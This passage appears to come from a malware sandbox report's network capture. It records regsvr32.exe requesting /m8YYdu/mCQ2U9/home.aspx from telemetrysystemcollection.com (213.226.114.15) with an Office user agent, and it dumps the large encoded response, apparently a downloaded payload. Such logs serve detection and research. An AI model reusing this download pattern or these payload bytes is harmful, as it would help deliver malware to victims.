72 76 6a 54 2b 0d 0a 2b 59 75 33 70 59 55 56 64 57 4b 6e 35 33 56 68 2b 45 72 54 63 45 34 64 61 6d 57 48 37 6f 59 33 34 64 69 79 4e 55 33 57 75 Data Ascii: t57FU1e+c+XUFKigDCufFKM2Uoz6LJMkHLfaDEAUpjJLJ89daDVBSrVD2WQWXpIl09Yq5T3tvVMbOlb+c6HDFU5l3SanLS5IIQv4q7q76FVUZ1SNEw0Pkclwq6aHFMWjYfHWpjjaYTaoIqH4e6DID/uwHKgRDNAEAN+Ep+2mD+8o185FtCY8kzqIWNf8prQCKHM1GrJgSrvjT++Yu3pYUVdWKn53Vh+ErTcE4damWH7oY34diyNU3Wu
2022-06-16 18:31:44 UTC	1049	IN	Data Raw: 73 78 4b 4a 6d 44 36 62 6e 70 30 73 53 34 72 4c 72 78 53 66 4e 32 6f 37 4b 6f 57 5a 58 45 6f 71 58 4d 35 4d 64 5a 45 39 64 4d 72 47 2b 79 43 78 51 2f 38 42 58 4c 35 64 72 74 79 6d 74 36 55 73 0d 0a 74 78 65 74 5a 2b 56 32 61 66 70 4d 30 51 62 4e 6c 50 58 43 51 75 36 2f 34 59 6f 4c 55 72 42 39 33 6b 66 68 31 48 78 49 66 62 41 43 66 57 42 62 41 54 38 6b 75 62 56 75 4d 32 55 6f 78 36 72 64 0d 0a 53 4b 6f 77 55 62 71 61 76 6d 4a 6a 4e 44 6c 34 78 70 75 38 2f 54 47 77 68 69 69 36 75 49 71 33 70 5a 30 6a 63 6c 46 6e 35 66 58 75 50 4c 77 2b 76 30 74 43 4e 44 68 45 50 43 59 38 4d 66 33 37 0d 0a 64 45 58 65 4e 70 44 50 45 56 47 53 64 71 34 34 6d 36 57 4b 62 62 48 61 6d 44 75 34 69 66 4b 67 53 6d 44 4e 4e 7a 79 37 75 70 73 4d 64 34 4b 55 55 59 61 36 31 6d 4e 30 72 Data Ascii: sxKJmD6bnp0sS4rLrxSfN2o7KoWZXEoqXM5MdZE9dMrG+yCxQ/8BXL5drtymt6UstxetZ+V2afpM0QbNlPXCQu6/4YoLUrB93kfh1HxIfbACfWBbAT8kubVuM2Uox6rdSKowUbqavmJjNDl4xpu8/TGwhii6uIq3pZ0jclFn5fXuPLw+v0tCNDhEPCY8Mf37dEXeNpDPEVGSdq44m6WKbbHamDu4ifKgSmDNNzy7upsMd4KUUYa61mN0r
2022-06-16 18:31:44 UTC	1065	IN	Data Raw: 32 63 77 5a 76 4c 6d 4b 6f 65 4f 72 7a 59 33 63 36 70 62 49 6d 6f 36 6c 39 4f 69 2f 76 62 2b 31 4b 4a 71 47 6e 59 50 6e 34 59 47 36 33 73 34 6b 0d 0a 75 61 75 2b 68 4a 36 62 6a 4c 66 58 2b 50 69 4c 72 70 69 48 2f 72 69 49 73 7a 4b 47 4d 30 4d 6b 55 6b 59 50 59 65 2f 76 7a 4d 4b 48 75 67 57 72 4b 4b 47 70 76 71 34 75 39 67 42 4a 53 68 38 7a 0d 0a 47 45 6e 71 36 38 2b 63 6a 72 4d 4b 33 67 43 6e 79 63 65 48 36 44 54 57 67 7a 33 6b 67 62 72 59 7a 6c 43 39 71 37 36 45 79 4a 75 4d 74 39 66 34 6c 49 2b 75 6d 49 65 77 75 49 69 7a 30 62 73 47 0d 0a 76 38 76 48 72 52 32 6b 6d 35 57 2f 74 41 53 36 71 72 79 64 47 59 79 34 6b 73 33 4c 54 62 57 6c 69 74 30 51 6a 4a 36 52 75 4f 67 4a 73 36 58 4a 72 77 58 73 77 62 76 6f 39 42 4b 58 79 38 61 52 0d 0a 43 59 69 36 69 38 2f Data Ascii: 2cwZvLmKoeOrzY3c6pbImo6l9Oi/vb+1KJqGnYPn4YG63s4kuau+hJ6bjLfX+PiLrpiH/riIszKGM0MkUkYPYe/vzMKHugWrKKGpvq4u9gBJSh8zGEnq68+cjrMK3gCnyceH6DTWgz3kgbrYzlC9q76EyJuMt9f4lI+umIewuIiz0bsGv8vHrR2km5W/tAS6qrydGYy4ks3LTbWlit0QjJ6RuOgJs6XJrwXswbvo9BKXy8aRCYi6i8/
2022-06-16 18:31:44 UTC	1081	IN	Data Raw: 53 55 39 57 6e 4f 61 53 69 4d 74 79 55 57 64 75 4d 32 56 78 54 46 6f 32 52 6b 49 30 4f 45 52 6c 0d 0a 65 57 4a 71 4e 44 6c 34 52 56 56 44 64 45 52 55 51 57 31 47 52 6e 56 49 57 6e 55 30 63 6c 46 6e 62 6a 4e 6c 63 55 78 61 4e 6b 5a 43 4e 44 68 45 5a 58 6c 69 61 6a 51 35 65 45 56 56 51 33 52 45 0d 0a 56 45 46 74 52 6b 5a 31 53 46 70 31 4e 48 4a 52 5a 32 34 7a 5a 58 46 4d 57 6a 5a 47 51 6a 51 34 52 47 56 35 59 6d 6f 30 4f 58 68 46 56 55 4e 30 52 46 52 42 62 55 5a 47 64 55 68 61 64 54 52 79 0d 0a 55 57 64 75 4d 32 56 78 54 46 6f 32 52 6b 49 30 4f 45 52 6c 65 66 4b 52 50 44 6d 53 75 46 31 44 71 4c 6c 63 51 63 32 2b 54 6e 58 30 6f 6e 30 30 6f 71 6c 76 62 74 2b 64 65 55 78 51 7a 30 35 43 0d 0a 4b 4d 46 4d 5a 55 6d 62 59 6a 52 7a 67 55 31 56 49 34 31 4d 56 44 65 Data Ascii: SU9WnOaSiMtyUWduM2VxTFo2RkI0OERleWJqNDl4RVVDdERUQW1GRnVIWnU0clFnbjNlcUxaNkZCNDhEZXliajQ5eEVVQ3REVEFtRkZ1SFp1NHJRZ24zZXFMWjZGQjQ4RGV5Ymo0OXhFVUN0RFRBbUZGdUhadTRyUWduM2VxTFo2RkI0OERlefKRPDmSuF1DqLlcQc2+TnX0on00oqlvbt+deUxQz05CKMFMZUmbYjRzgU1VI41MVDe
2022-06-16 18:31:44 UTC	1097	IN	Data Raw: 5a 68 41 36 4b 42 70 47 63 6c 45 58 48 46 77 52 0d 0a 48 69 38 31 57 6d 59 73 57 30 78 6b 46 67 77 53 47 6c 74 4c 44 43 41 78 51 33 51 32 4d 53 41 4a 5a 69 6b 62 4a 43 4e 56 55 68 73 39 41 6b 35 41 48 41 49 34 50 31 74 47 51 6a 52 4b 49 52 59 57 0d 0a 46 78 68 58 58 46 67 68 4d 43 49 51 4b 44 73 69 42 6d 59 78 47 6a 30 32 45 52 51 64 4d 67 51 62 51 57 56 78 54 43 68 54 4e 53 31 42 53 69 63 41 57 52 63 45 56 55 38 5a 4c 44 6b 69 46 69 67 78 0d 0a 59 52 6b 30 50 31 55 70 50 52 52 64 48 46 46 6e 48 46 59 57 42 43 41 75 46 69 6b 33 51 42 67 72 41 31 6b 51 43 31 70 65 48 55 55 6d 4e 78 55 77 4d 57 45 44 4b 54 4a 56 4f 6a 38 57 57 77 51 30 0d 0a 46 51 39 52 43 52 52 4d 57 6a 59 31 4e 6b 5a 64 4a 51 68 5a 46 67 4e 5a 58 42 63 77 49 55 4e 30 4d 44 45 35 47 57 59 Data Ascii: ZhA6KBpGclEXHFwRHi81WmYsW0xkFgwSGltLDCAxQ3Q2MSAJZikbJCNVUhs9Ak5AHAI4P1tGQjRKIRYWFxhXXFghMCIQKDsiBmYxGj02ERQdMgQbQWVxTChTNS1BSicAWRcEVU8ZLDkiFigxYRk0P1UpPRRdHFFnHFYWBCAuFik3QBgrA1kQC1peHUUmNxUwMWEDKTJVOj8WWwQ0FQ9RCRRMWjY1NkZdJQhZFgNZXBcwIUN0MDE5GWY
2022-06-16 18:31:44 UTC	1113	IN	Data Raw: 0d 0a 6f 4c 4f 66 33 35 36 38 69 59 48 44 6c 49 4f 2f 72 73 4f 77 74 63 7a 42 76 70 36 46 6e 35 54 4c 4f 58 68 6c 56 57 4e 30 5a 46 52 68 62 57 5a 47 56 55 68 36 64 52 52 79 63 57 64 47 4d 30 31 78 0d 0a 5a 46 6f 65 52 6d 6f 30 47 45 52 46 65 55 4a 71 46 44 6c 59 52 58 56 44 56 45 52 30 51 55 31 47 5a 6e 56 6f 57 6c 55 30 55 6c 46 48 62 68 4e 6c 55 55 78 36 4e 6d 5a 43 66 44 68 55 5a 57 6c 69 0d 0a 65 6a 51 70 65 46 56 56 55 33 52 55 56 46 46 74 56 6b 5a 6c 53 45 70 31 4a 48 4a 42 5a 33 34 7a 64 58 48 49 57 72 4a 47 78 6a 53 38 52 4f 46 35 35 6d 71 77 4f 66 78 46 30 55 50 77 52 45 52 42 0d 0a 66 55 5a 57 64 56 68 61 5a 54 52 69 55 58 64 75 73 6d 54 77 54 64 73 33 78 30 4f 31 4f 63 56 6b 65 47 4e 72 4e 54 68 35 52 46 52 43 64 55 56 56 51 47 78 48 52 33 52 Data Ascii: oLOf3568iYHDlIO/rsOwtczBvp6Fn5TLOXhlVWN0ZFRhbWZGVUh6dRRycWdGM01xZFoeRmo0GERFeUJqFDlYRXVDVER0QU1GZnVoWlU0UlFHbhNlUUx6NmZCfDhUZWliejQpeFVVU3RUVFFtVkZlSEp1JHJBZ34zdXHIWrJGxjS8ROF55mqwOfxF0UPwRERBfUZWdVhaZTRiUXdusmTwTds3x0O1OcVkeGNrNTh5RFRCdUVVQGxHR3R
2022-06-16 18:31:44 UTC	1129	IN	Data Raw: 68 61 45 7a 51 41 55 55 70 75 66 32 55 6b 54 46 6f 32 4a 45 4a 48 4f 47 6c 6c 4f 32 49 72 4e 42 52 34 43 56 55 69 64 44 42 55 4c 32 31 47 52 6e 56 49 0d 0a 4b 58 56 5a 63 6a 74 6e 51 7a 4d 32 63 51 6c 61 4e 6b 5a 43 4e 46 6c 45 46 33 6c 50 61 6e 6b 35 4f 55 56 56 51 78 46 45 4f 6b 46 41 52 67 39 31 44 56 70 31 4e 42 64 52 46 47 34 65 5a 53 46 4d 0d 0a 47 7a 5a 47 51 6c 49 34 4e 6d 56 55 59 69 63 30 65 6e 68 46 56 54 42 30 4e 6c 52 73 62 51 52 47 4e 45 68 33 64 58 68 79 4d 47 63 61 4d 77 74 78 54 46 6f 32 52 6a 45 30 56 55 51 45 65 55 39 71 0d 0a 65 6a 6b 33 52 56 56 44 64 45 51 31 51 52 39 47 61 33 55 63 57 6a 73 30 63 6c 45 43 62 6c 31 6c 58 45 77 41 4e 67 64 43 4e 44 67 68 5a 51 70 69 52 7a 52 39 65 41 70 56 51 33 51 33 56 44 4e 74 0d 0a 61 30 59 33 53 Data Ascii: haEzQAUUpuf2UkTFo2JEJHOGllO2IrNBR4CVUidDBUL21GRnVIKXVZcjtnQzM2cQlaNkZCNFlEF3lPank5OUVVQxFEOkFARg91DVp1NBdRFG4eZSFMGzZGQlI4NmVUYic0enhFVTB0NlRsbQRGNEh3dXhyMGcaMwtxTFo2RjE0VUQEeU9qejk3RVVDdEQ1QR9Ga3UcWjs0clECbl1lXEwANgdCNDghZQpiRzR9eApVQ3Q3VDNta0Y3S
2022-06-16 18:31:44 UTC	1145	IN	Data Raw: 49 4c 63 6c 46 6e 62 71 56 77 68 6e 4e 61 4e 6b 59 43 6f 53 32 7a 57 6e 6c 69 61 72 53 74 62 62 4a 71 0d 0a 51 33 52 45 6c 4e 4a 34 73 58 6c 31 53 46 70 31 70 32 65 6d 57 47 34 7a 5a 54 48 65 54 38 46 35 51 6a 51 34 78 50 52 73 6c 56 55 30 4f 58 69 46 78 56 61 44 65 31 52 42 62 55 62 57 59 4c 39 6c 0d 0a 64 54 52 79 30 65 68 37 78 46 70 78 54 46 72 32 79 46 66 44 42 30 52 6c 65 57 4c 6b 49 63 35 48 52 56 56 44 4e 4d 6c 42 74 6c 4a 47 52 6e 58 49 31 6d 44 44 54 56 46 6e 62 76 50 75 5a 4c 74 6c 0d 0a 4e 6b 5a 43 4e 4c 4e 52 6b 6b 5a 69 61 6a 52 35 38 6c 43 69 66 48 52 45 56 4d 48 6b 55 37 46 4b 53 46 70 31 4e 50 74 45 6b 46 45 7a 5a 58 45 4d 30 69 4f 78 66 54 51 34 52 4f 58 2b 64 35 30 4c 0d 0a 4f 58 68 46 6c 63 56 68 73 32 74 42 62 55 5a 47 38 31 32 74 53 Data Ascii: ILclFnbqVwhnNaNkYCoS2zWnliarStbbJqQ3RElNJ4sXl1SFp1p2emWG4zZTHeT8F5QjQ4xPRslVU0OXiFxVaDe1RBbUbWYL9ldTRy0eh7xFpxTFr2yFfDB0RleWLkIc5HRVVDNMlBtlJGRnXI1mDDTVFnbvPuZLtlNkZCNLNRkkZiajR58lCifHREVMHkU7FKSFp1NPtEkFEzZXEM0iOxfTQ4ROX+d50LOXhFlcVhs2tBbUZG812tS
2022-06-16 18:31:44 UTC	1161	IN	Data Raw: 4a 52 5a 39 59 37 64 58 46 4d 57 6a 5a 47 51 6a 51 34 0d 0a 52 47 56 35 59 6e 6f 34 4d 47 67 4a 37 55 74 6b 52 46 52 42 62 55 5a 47 64 55 68 5a 64 54 52 79 44 64 39 6d 49 77 6e 4a 52 45 6f 71 2f 6b 6f 6b 59 50 64 74 61 57 4a 71 4e 44 6c 6f 53 56 78 54 0d 0a 64 6b 52 55 51 57 31 47 52 6e 57 33 70 59 72 4c 63 6c 46 6e 62 6e 4e 6c 63 55 77 57 6a 6b 35 53 4e 44 68 45 5a 58 6c 69 61 6a 51 35 65 45 56 56 6f 33 39 4e 52 4e 33 56 54 6c 5a 31 53 46 70 31 0d 0a 4e 48 4a 52 5a 32 30 7a 5a 58 48 67 34 6a 35 57 2f 6f 77 77 56 48 6e 42 61 6e 70 73 69 6e 42 56 56 55 4e 30 52 4c 52 4b 5a 46 5a 45 64 55 68 61 64 54 52 79 55 5a 69 52 7a 4a 70 78 54 46 6f 32 0d 0a 42 6b 49 30 4f 4e 6a 64 63 58 4a 71 4e 44 6c 34 52 56 56 44 64 45 52 55 51 57 33 4b 54 58 78 59 74 73 30 38 59 Data Ascii: JRZ9Y7dXFMWjZGQjQ4RGV5Yno4MGgJ7UtkRFRBbUZGdUhZdTRyDd9mIwnJREoq/kokYPdtaWJqNDloSVxTdkRUQW1GRnW3pYrLclFnbnNlcUwWjk5SNDhEZXliajQ5eEVVo39NRN3VTlZ1SFp1NHJRZ20zZXHg4j5W/owwVHnBanpsinBVVUN0RLRKZFZEdUhadTRyUZiRzJpxTFo2BkI0ONjdcXJqNDl4RVVDdERUQW3KTXxYts08Y
2022-06-16 18:31:44 UTC	1177	IN	Data Raw: 69 52 0d 0a 47 42 4a 32 58 4b 58 4a 75 62 32 47 70 45 46 31 68 70 32 56 79 77 38 50 51 6b 56 41 64 45 52 55 41 42 70 42 56 6f 71 33 70 59 72 55 42 56 5a 33 54 44 62 32 61 45 31 61 4e 6b 61 65 30 6a 42 55 0d 0a 5a 58 6c 69 61 6a 51 35 65 45 56 56 51 33 52 45 56 45 46 74 52 6b 5a 31 53 46 70 30 4e 48 4a 52 6d 4a 48 4d 6d 73 50 51 58 79 61 35 76 63 76 48 39 42 4a 2b 63 6b 67 78 71 6d 46 48 56 55 4e 30 0d 0a 54 4c 4e 4a 66 55 5a 47 64 55 68 61 64 54 52 79 55 57 64 75 4d 32 56 78 54 46 6f 32 52 6b 49 30 4f 55 52 6c 65 53 4a 71 4e 44 6c 34 52 56 56 44 64 45 52 55 51 55 6b 69 52 6d 57 33 70 59 72 4c 0d 0a 63 6c 46 6e 62 73 79 61 6a 72 4e 61 4e 6b 5a 43 4e 44 68 45 5a 58 6c 69 61 6a 51 34 65 45 56 56 51 6e 52 45 56 48 32 4b 54 6c 5a 58 54 63 6c 73 4e 6e 4a 52 5a Data Ascii: iRGBJ2XKXJub2GpEF1hp2Vyw8PQkVAdERUABpBVoq3pYrUBVZ3TDb2aE1aNkae0jBUZXliajQ5eEVVQ3REVEFtRkZ1SFp0NHJRmJHMmsPQXya5vcvH9BJ+ckgxqmFHVUN0TLNJfUZGdUhadTRyUWduM2VxTFo2RkI0OURleSJqNDl4RVVDdERUQUkiRmW3pYrLclFnbsyajrNaNkZCNDhEZXliajQ4eEVVQnREVH2KTlZXTclsNnJRZ
2022-06-16 18:31:44 UTC	1193	IN	Data Raw: 56 64 56 5a 70 33 4a 61 4e 6b 62 43 4e 44 68 59 5a 58 6c 69 66 41 56 76 53 79 4e 67 64 55 7a 33 62 66 4a 57 43 6e 76 6a 64 6d 78 4b 34 6b 31 52 39 32 34 7a 0d 0a 4a 58 46 4d 57 6b 42 33 35 41 66 48 63 47 46 4d 65 31 38 52 44 46 4a 77 50 58 51 5a 63 31 4e 35 59 58 35 77 54 34 64 67 6f 51 35 45 61 72 5a 56 35 56 35 48 63 4a 55 4b 6b 6e 36 48 42 66 78 59 0d 0a 66 31 7a 6c 43 71 31 47 73 32 76 63 53 2b 42 72 51 63 31 47 52 6a 56 49 57 6e 57 67 51 73 68 58 69 41 4d 61 51 4d 68 72 30 48 66 4b 42 6f 64 32 6f 55 74 45 57 59 67 4b 75 58 59 71 64 76 42 78 0d 0a 63 58 5a 48 63 63 5a 43 69 6d 31 70 44 42 68 70 74 6c 66 6c 58 42 56 33 4d 77 33 35 65 54 55 45 48 31 6e 61 58 6d 71 45 4f 58 67 42 56 55 4e 30 73 6d 64 62 57 51 39 79 79 48 79 38 51 53 46 48 0d 0a 42 6c 48 Data Ascii: VdVZp3JaNkbCNDhYZXlifAVvSyNgdUz3bfJWCnvjdmxK4k1R924zJXFMWkB35AfHcGFMe18RDFJwPXQZc1N5YX5wT4dgoQ5EarZV5V5HcJUKkn6HBfxYf1zlCq1Gs2vcS+BrQc1GRjVIWnWgQshXiAMaQMhr0HfKBod2oUtEWYgKuXYqdvBxcXZHccZCim1pDBhptlflXBV3Mw35eTUEH1naXmqEOXgBVUN0smdbWQ9yyHy8QSFHBlH
2022-06-16 18:31:44 UTC	1209	IN	Data Raw: 56 73 6c 2f 6d 67 57 4f 63 65 51 4c 6e 46 61 5a 55 59 49 48 79 55 75 39 5a 6b 4e 41 54 47 42 52 57 56 35 79 0d 0a 56 58 78 79 51 51 52 47 61 56 4d 75 42 79 31 46 48 47 35 75 63 69 49 41 55 48 41 56 54 52 70 65 74 41 33 77 63 63 56 33 37 48 42 55 34 57 56 47 57 6e 56 49 57 6c 6b 4c 53 6d 37 50 55 66 39 61 0d 0a 6f 58 4f 36 43 61 4a 39 33 41 65 30 57 6e 6c 69 61 6f 51 78 65 45 46 57 51 33 52 4d 5a 45 31 64 59 6e 5a 42 65 47 4a 46 64 45 49 4a 56 77 59 44 43 55 45 77 61 72 5a 32 78 67 53 77 64 50 56 4a 0d 0a 79 6c 71 4d 43 63 52 31 6d 58 4f 6b 64 49 78 78 6e 58 5a 47 52 45 78 72 59 51 56 71 59 48 74 66 45 31 52 56 66 58 59 48 41 6e 4e 38 43 53 52 55 48 56 4d 57 42 62 6c 4a 33 57 54 72 52 65 68 6c 0d 0a 2f 56 79 47 64 37 46 35 6b 6b 54 34 51 34 56 57 67 67 4b Data Ascii: Vsl/mgWOceQLnFaZUYIHyUu9ZkNATGBRWV5yVXxyQQRGaVMuBy1FHG5uciIAUHAVTRpetA3wccV37HBU4WVGWnVIWlkLSm7PUf9aoXO6CaJ93Ae0WnliaoQxeEFWQ3RMZE1dYnZBeGJFdEIJVwYDCUEwarZ2xgSwdPVJylqMCcR1mXOkdIxxnXZGRExrYQVqYHtfE1RVfXYHAnN8CSRUHVMWBblJ3WTrRehl/VyGd7F5kkT4Q4VWggK

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49900	213.226.114.15	443	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-16 18:32:39 UTC	1214	OUT	GET /m8YYdu/mCQ2U9/home.aspx HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: telemetrysystemcollection.com Cache-Control: no-cache
2022-06-16 18:32:39 UTC	1215	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:39 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 Last-Modified: Tue, 14 Jun 2022 10:54:24 GMT ETag: "cb280-5e1663a52587a" Accept-Ranges: bytes Content-Length: 832128 Connection: close
2022-06-16 18:32:39 UTC	1215	IN	Data Raw: 43 79 2f 59 57 6e 59 30 63 6c 46 6a 62 6a 4e 6c 6a 72 4e 61 4e 76 35 43 4e 44 68 45 5a 58 6c 69 4b 6a 51 35 65 45 56 56 51 33 52 45 56 45 46 74 52 6b 5a 31 53 46 70 31 4e 48 4a 52 5a 32 34 7a 0d 0a 5a 58 46 4d 57 6a 5a 47 51 6a 51 34 52 47 56 35 59 6d 73 30 4f 58 5a 61 37 30 31 30 38 46 32 4d 54 50 35 48 4f 59 56 37 49 56 77 62 49 6b 63 65 51 51 6f 57 50 6a 74 62 5a 69 46 56 56 69 6f 4b 0d 0a 44 55 49 49 55 52 6b 4b 4d 44 74 6a 48 53 70 30 42 53 49 56 5a 68 67 6e 50 68 41 61 66 31 78 74 53 6a 4e 6c 63 55 78 61 4e 6b 62 39 6c 67 73 6e 6e 72 6f 2f 57 73 2f 36 4a 58 57 75 67 43 6c 30 0d 0a 75 2b 6b 7a 64 37 43 32 46 57 71 61 6e 43 70 67 50 4b 31 75 56 5a 37 6b 41 77 65 72 67 57 6b 49 37 64 4d 68 55 39 4c 33 5a 45 6a 73 34 78 70 46 73 4a 63 63 58 65 2f 77 4b Data Ascii: Cy/YWnY0clFjbjNljrNaNv5CNDhEZXliKjQ5eEVVQ3REVEFtRkZ1SFp1NHJRZ24zZXFMWjZGQjQ4RGV5Yms0OXZa70108F2MTP5HOYV7IVwbIkceQQoWPjtbZiFVVioKDUIIURkKMDtjHSp0BSIVZhgnPhAaf1xtSjNlcUxaNkb9lgsnnro/Ws/6JXWugCl0u+kzd7C2FWqanCpgPK1uVZ7kAwergWkI7dMhU9L3ZEjs4xpFsJccXe/wK
2022-06-16 18:32:39 UTC	1223	IN	Data Raw: 6c 69 43 2f 6e 74 4b 4c 65 72 6f 6f 6a 63 63 66 79 6f 42 43 4e 41 75 4e 37 69 79 65 36 66 59 78 38 55 2f 63 43 58 44 50 45 55 6e 6b 0d 0a 41 37 37 2b 42 61 4c 38 65 59 62 61 63 6d 59 7a 62 47 48 46 44 39 72 4e 42 38 43 78 41 5a 58 79 4c 35 71 2f 61 48 77 58 33 6b 49 6b 7a 78 6d 39 50 4b 36 67 59 30 6c 61 2f 6e 6d 4f 75 51 6d 77 0d 0a 4d 57 58 36 43 61 61 39 6f 78 2f 32 50 45 53 70 74 61 36 6d 2b 47 7a 7a 71 64 61 76 59 4d 30 5a 76 65 59 44 75 72 4e 49 57 6b 62 39 2b 51 53 62 37 66 46 74 2b 45 62 54 66 45 4c 4a 63 54 44 4e 0d 0a 49 49 48 70 4a 38 79 77 4e 62 48 65 56 6e 78 45 58 56 48 6b 45 36 72 2b 44 61 37 38 63 59 4c 61 4b 70 34 38 30 32 41 65 30 58 4f 36 45 74 7a 78 55 6d 52 35 36 53 66 49 30 57 6d 62 56 30 50 2f 0d 0a 41 61 6a 4b 69 42 75 45 63 55 69 Data Ascii: liC/ntKLeroojccfyoBCNAuN7iye6fYx8U/cCXDPEUnkA77+BaL8eYbacmYzbGHFD9rNB8CxAZXyL5q/aHwX3kIkzxm9PK6gY0la/nmOuQmwMWX6Caa9ox/2PESpta6m+GzzqdavYM0ZveYDurNIWkb9+QSb7fFt+EbTfELJcTDNIIHpJ8ywNbHeVnxEXVHkE6r+Da78cYLaKp4802Ae0XO6EtzxUmR56SfI0WmbV0P/AajKiBuEcUi
2022-06-16 18:32:39 UTC	1239	IN	Data Raw: 76 53 65 78 37 43 76 50 37 6e 6e 46 46 38 62 4e 46 38 53 78 45 59 33 79 4a 35 4b 39 0d 0a 66 4a 54 4f 47 4b 2f 39 43 59 44 4b 4f 4b 37 50 49 4b 7a 52 4d 4e 44 37 46 4c 2f 6c 66 6f 58 34 41 59 61 39 45 35 35 6d 73 77 6d 39 6b 51 69 46 4e 44 6e 7a 41 4b 6e 49 66 4d 30 5a 6b 65 59 54 0d 0a 75 76 35 4b 32 62 55 6b 2b 52 79 62 35 7a 4c 75 6c 42 47 59 4d 6b 61 4f 2b 50 53 49 71 62 57 75 70 76 6a 31 74 49 6d 5a 6a 37 67 52 33 36 33 75 71 6e 4c 38 42 61 72 2b 63 59 4c 59 49 6f 4b 34 0d 0a 4b 4a 33 50 6d 7a 4c 50 44 38 79 7a 45 57 33 77 4e 37 4b 2f 66 49 44 4f 58 63 6f 35 72 4e 38 55 68 63 38 54 6c 63 4d 66 68 62 30 33 74 65 77 6a 31 2b 77 38 6e 4e 46 6a 70 73 74 68 35 4d 38 67 0d 0a 70 65 73 76 77 4c 49 31 6e 64 77 4f 6f 4d 38 42 6c 65 64 45 7a 6a 43 30 30 54 6a Data Ascii: vSex7CvP7nnFF8bNF8SxEY3yJ5K9fJTOGK/9CYDKOK7PIKzRMND7FL/lfoX4AYa9E55mswm9kQiFNDnzAKnIfM0ZkeYTuv5K2bUk+Ryb5zLulBGYMkaO+PSIqbWupvj1tImZj7gR363uqnL8Bar+cYLYIoK4KJ3PmzLPD8yzEW3wN7K/fIDOXco5rN8Uhc8TlcMfhb03tewj1+w8nNFjpsth5M8gpesvwLI1ndwOoM8BledEzjC00Tj
2022-06-16 18:32:39 UTC	1255	IN	Data Raw: 48 4c 66 6e 66 73 6e 36 47 66 61 2f 0d 0a 45 36 71 33 52 59 52 31 64 75 44 53 4e 44 6c 34 7a 68 43 76 2f 30 7a 64 44 4e 48 4e 45 38 6e 42 44 37 47 2f 4e 30 45 33 35 58 36 68 49 4d 63 50 33 68 53 71 63 51 6c 42 5a 66 71 6d 5a 72 39 38 0d 0a 6b 45 59 51 55 2f 30 42 2f 4d 6f 67 58 68 66 2b 48 55 34 6e 76 7a 66 35 4e 34 59 62 56 48 52 4d 32 66 4a 4b 79 58 6e 51 52 79 68 70 59 53 63 73 73 44 58 68 33 68 61 6f 62 77 46 52 37 6f 52 48 0d 0a 4a 38 4d 66 73 54 63 33 51 54 66 6c 66 73 45 67 70 4b 55 47 51 30 4b 33 2f 45 6a 75 4c 4b 4c 70 39 6a 6a 78 45 49 48 49 4d 66 6a 64 42 4e 57 42 41 34 6c 49 57 6e 55 30 38 79 79 7a 62 69 4e 6c 0d 0a 63 54 35 58 75 77 75 57 5a 62 55 52 33 53 75 4b 32 68 77 37 65 4d 34 51 6c 79 54 50 47 66 6b 38 72 6a 71 49 54 46 72 32 38 48 71 Data Ascii: HLfnfsn6Gfa/E6q3RYR1duDSNDl4zhCv/0zdDNHNE8nBD7G/N0E35X6hIMcP3hSqcQlBZfqmZr98kEYQU/0B/MogXhf+HU4nvzf5N4YbVHRM2fJKyXnQRyhpYScssDXh3haobwFR7oRHJ8MfsTc3QTflfsEgpKUGQ0K3/EjuLKLp9jjxEIHIMfjdBNWBA4lIWnU08yyzbiNlcT5XuwuWZbUR3SuK2hw7eM4QlyTPGfk8rjqITFr28Hq
2022-06-16 18:32:39 UTC	1271	IN	Data Raw: 30 31 35 58 61 52 2b 6b 51 4c 76 51 75 2b 33 50 66 6e 6d 6f 62 72 4c 39 79 79 6e 52 69 58 52 33 53 49 6d 49 32 68 69 6f 6f 67 77 37 62 32 32 47 72 59 4b 70 4b 34 49 49 33 46 48 38 37 4e 0d 0a 44 38 79 37 68 57 48 77 4c 35 36 2f 62 49 7a 4f 45 4c 76 2f 54 6d 38 4a 5a 54 4a 53 2f 68 31 53 2f 47 47 43 32 69 4b 65 59 2b 34 38 73 4c 4a 50 32 62 33 4c 30 31 2f 75 4e 47 72 6a 65 64 58 7a 0d 0a 45 4c 6b 52 2f 77 47 67 79 6d 55 58 7a 54 69 30 73 6b 71 53 6a 61 37 75 4b 39 76 75 6c 42 47 59 4d 6b 61 4f 2b 50 53 49 71 62 55 33 34 64 69 36 6c 46 33 63 44 6f 6a 50 45 62 33 6b 41 37 37 2b 0d 0a 42 61 4c 32 39 58 62 59 4b 70 71 34 4d 49 58 48 48 38 37 4e 53 41 39 77 54 42 46 74 36 54 38 38 73 43 32 31 33 67 61 45 46 4e 38 4d 6b 61 37 66 36 72 65 6c 6e 69 2f 35 48 47 2f Data Ascii: 015XaR+kQLvQu+3PfnmobrL9yynRiXR3SImI2hioogw7b22GrYKpK4II3FH87ND8y7hWHwL56/bIzOELv/Tm8JZTJS/h1S/GGC2iKeY+48sLJP2b3L01/uNGrjedXzELkR/wGgymUXzTi0skqSja7uK9vulBGYMkaO+PSIqbU34di6lF3cDojPEb3kA77+BaL29XbYKpq4MIXHH87NSA9wTBFt6T88sC213gaEFN8Mka7f6relni/5HG/
2022-06-16 18:32:39 UTC	1287	IN	Data Raw: 6f 7a 5a 58 45 6e 6b 73 6e 4e 31 33 7a 48 75 35 70 36 4b 47 36 39 74 44 79 36 71 72 7a 2f 77 52 43 2b 6b 72 6e 4e 66 63 48 58 4e 63 75 4e 0d 0a 72 75 7a 37 63 35 71 4f 73 39 6f 4d 52 44 63 39 2f 77 48 56 65 47 4a 71 4e 4e 4a 2f 67 68 44 7a 64 45 52 55 51 65 63 44 39 76 30 4e 76 58 71 43 50 37 62 69 70 30 59 55 2b 68 6d 71 74 59 52 47 0d 0a 76 61 31 34 6d 6f 61 64 30 6a 41 35 65 45 55 2b 69 34 76 50 77 58 32 53 75 62 6c 32 41 6c 37 38 75 55 71 75 6d 4a 47 34 34 45 6d 7a 70 63 6e 4e 53 72 32 31 63 4a 71 47 6e 65 47 68 44 59 65 36 0d 0a 71 73 4e 4f 52 53 46 49 71 67 50 71 64 45 68 61 64 64 39 31 6c 69 4c 43 4d 